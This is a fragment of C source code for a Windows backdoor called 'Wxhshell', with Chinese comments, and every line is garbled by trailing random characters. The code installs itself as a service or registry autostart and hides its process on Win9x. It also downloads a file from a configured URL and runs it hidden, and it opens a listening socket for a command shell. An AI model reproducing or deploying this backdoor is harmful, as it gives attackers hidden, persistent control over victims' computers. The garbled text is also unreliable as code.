JN^[X
} PROCESS_BASIC_INFORMATION; -
jZAvb
B[ZQn]y
PROCNTQSIP NtQueryInformationProcess; &^$@LH3
PaSwfjOnqr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Z-Pc?F&(k
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \)dp
oSrA4g
HANDLE hProcess; fZ-"._9UyH
PROCESS_BASIC_INFORMATION pbi; ]ePg6
N 8[rWJ#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QT+kCN
if(NULL == hInst ) return 0; US)i"l7:H*
us.[wp'Sh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C[,h!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @S3 L%lOH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ) 'xyK
*R+M#l9D`
if (!NtQueryInformationProcess) return 0; 1<vJuF^
!U?C_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y)k"KRW+
if(!hProcess) return 0; Ze%S<xT!O
K ar!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p1'q{E+o*
vT#R>0@mi
CloseHandle(hProcess); B5 /8LEWw
1#N`elm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7D<Aa?cv_l
if(hProcess==NULL) return 0; _t-6m2A
3YLK?X8
HMODULE hMod; P1OYS\
char procName[255]; drAJ-ii
unsigned long cbNeeded; !!L'{beF
6|p8_[e`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jlb8<xIC]
sFZdj0tQ4
CloseHandle(hProcess); $@6q5Iz!&
( 72%au
if(strstr(procName,"services")) return 1; // 以服务启动 U)'YR$2<
P\dfxR;8%
return 0; // 注册表启动 BW;@Gq@N
} #!_4ZX
ulALGzPh
// 主模块 \'=svJ
int StartWxhshell(LPSTR lpCmdLine) P6%qNR/ x
{ R7IFlQH%
SOCKET wsl; s[7$%|~W
BOOL val=TRUE; h*^JFZb
int port=0; }*J04o$oI
struct sockaddr_in door; dUB;ZB7
=eY
if(wscfg.ws_autoins) Install(); +ase>'<N#
8o:h/F
port=atoi(lpCmdLine); ]iTP5~8U
;LgMi5dN
if(port<=0) port=wscfg.ws_port; T^eD
yE
N3/-S+
WSADATA data; I 8i|tQz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V #vkj
/QS Nv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5q4wREh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +9LzDH
door.sin_family = AF_INET; j(I(0Yyh
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %J6>Vc!ix=
door.sin_port = htons(port); EiD41N
0<uL0FOT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KYkS^v
closesocket(wsl); rk%pA-P2
return 1; %l%ad-V
} ih("`//nP
Eva&FHRTY
if(listen(wsl,2) == INVALID_SOCKET) { Z wKX$(n
closesocket(wsl); nd\$Y
return 1; &iD&C>;pf
} 6a9:P@tY
Wxhshell(wsl); }cUO+)!Y
WSACleanup(); qCVb-f
w:I!{iX
return 0; _$A?
iPCn-DoIS
} 'xuxMav6m
w?_'sP{pd
// 以NT服务方式启动 fvta<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }x6)}sz7
{ "w 4^i!\
DWORD status = 0; LTx,oa:ma
DWORD specificError = 0xfffffff; @}^VA9ULK
~d<&OL
serviceStatus.dwServiceType = SERVICE_WIN32; Z!q$d/1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \Dr( /n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NHU5JSlB
serviceStatus.dwWin32ExitCode = 0; L8E4|F}
serviceStatus.dwServiceSpecificExitCode = 0; >`WQxkpy
serviceStatus.dwCheckPoint = 0; ) F -8
serviceStatus.dwWaitHint = 0; wtL=^
uCt?(E>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LCXWpUj~
if (hServiceStatusHandle==0) return; qz)KCEs
HXh:83
status = GetLastError(); M!hD`5.3
if (status!=NO_ERROR) /V/)A\g
{ eF0FQlMe[
serviceStatus.dwCurrentState = SERVICE_STOPPED; U
|eh
serviceStatus.dwCheckPoint = 0; AH#a+<;a
serviceStatus.dwWaitHint = 0; v!DU ewz
serviceStatus.dwWin32ExitCode = status; y]! #$C /
serviceStatus.dwServiceSpecificExitCode = specificError; Lf.Ia*R:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {qSMJja !t
return; s{c|J#s
} %IIFLlD
iig4JP'h
serviceStatus.dwCurrentState = SERVICE_RUNNING;
[g@Uc
serviceStatus.dwCheckPoint = 0; N.|zz)y
serviceStatus.dwWaitHint = 0; Qo]qs+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $qpW?<>,0
} lQgavP W!
2.{zfr
// 处理NT服务事件,比如:启动、停止 vytO8m%U
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7#&Q-3\:
{ 5ld?N2<8/
switch(fdwControl) wU/fGg*M2
{ .2|(!a9W
case SERVICE_CONTROL_STOP: QXa2qxTc
serviceStatus.dwWin32ExitCode = 0; zk@s#_3ct
serviceStatus.dwCurrentState = SERVICE_STOPPED; x!7!)]h
serviceStatus.dwCheckPoint = 0; i$.! 8AV6
serviceStatus.dwWaitHint = 0; ]l=CiG4!M
{ L*rCUv `
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D\-DsT.H
} nXuy&;5TL,
return; @d8Nr:
case SERVICE_CONTROL_PAUSE: 2#qcYU
serviceStatus.dwCurrentState = SERVICE_PAUSED; c<Ud[x.
break; 1JOoICjB
case SERVICE_CONTROL_CONTINUE: >`yRL[c;
serviceStatus.dwCurrentState = SERVICE_RUNNING; [k%u$
break; k8+U0J_{'
case SERVICE_CONTROL_INTERROGATE: SEWdhthP
break; +~==qLsU
}; b'4}=Xpn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); trA ^JY
} zII^Ny8D
rNm_w>bq
// 标准应用程序主函数 L6jwJwD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2H] 7 =j
{ M`9|8f,!a
|<8Fa%!HHc
// 获取操作系统版本 VV[Fb9W ;
OsIsNt=GetOsVer(); qx0F*EH|
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 > _vH]
t3v_o4`&
// 从命令行安装 6Xn9$C)
if(strpbrk(lpCmdLine,"iI")) Install(); |~v2~
UsCaO<A
// 下载执行文件 4kK_S.&
if(wscfg.ws_downexe) { @bAuR
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &tiJ=;R1
WinExec(wscfg.ws_filenam,SW_HIDE); nb*`GE
} $
\!OO)
! P$[$W
if(!OsIsNt) { so Lmr's
// 如果时win9x,隐藏进程并且设置为注册表启动 J9J/3O
Q=
HideProc(); fCX8s(|F
StartWxhshell(lpCmdLine); gTLBR
} Uu Zjf9}
else 8RVRfy,w
if(StartFromService()) 0hXx31JN N
// 以服务方式启动 LXth-j=]
StartServiceCtrlDispatcher(DispatchTable); ^ME'D
else {=,I>w]T|W
// 普通方式启动 g^jTdrW/s
StartWxhshell(lpCmdLine); ,nV4%Aa
Z(LTHAbBk|
return 0; Le/}xST@
} ^nFP#J)_5
PH^Gjm
N>)Db
^/}&z